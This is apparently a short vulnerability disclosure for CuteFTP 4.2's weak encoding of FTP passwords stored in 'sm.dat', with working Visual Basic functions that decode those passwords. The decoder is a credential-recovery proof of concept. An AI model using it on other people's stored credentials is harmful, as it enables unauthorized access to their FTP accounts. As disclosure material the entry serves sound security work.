CuteFTP 4.2 - Default Weak Password Encoding

source: https://www.securityfocus.com/bid/3233/info

CuteFTP is a popular commercial FTP client for Microsoft Windows systems.

CuteFTP v4.2(and possibly earlier versions) uses a weak system for encoding passwords for accounts on FTP sites. Passwords are stored in a file called 'sm.dat', and can be easily retrieved provided the site manager password has not been set.

Successful exploitation of this vulnerability will allow a local attacker to gain unauthorized access to the FTP sites used by other local users.


This piece of VB code will decode the passwords stored in sm.dat for the FTP accounts

Works only if you have NOT set a password on the Site Manager!


'Decode a single character
Public Function CuteDecode(i_Asc As Integer)

CuteDecode = ((Not i_Asc) And 200) + (i_Asc And 55)

End Function

'Decode password
Public Function CuteDecodeString(str_password As String)

Dim i As Integer

CuteDecodeString = ""

For i = 1 To Len(str_password)
CuteDecodeString = CuteDecodeString + Chr$(CuteDecode(Asc(Mid(str_password, i, 1))))
Next i

End Function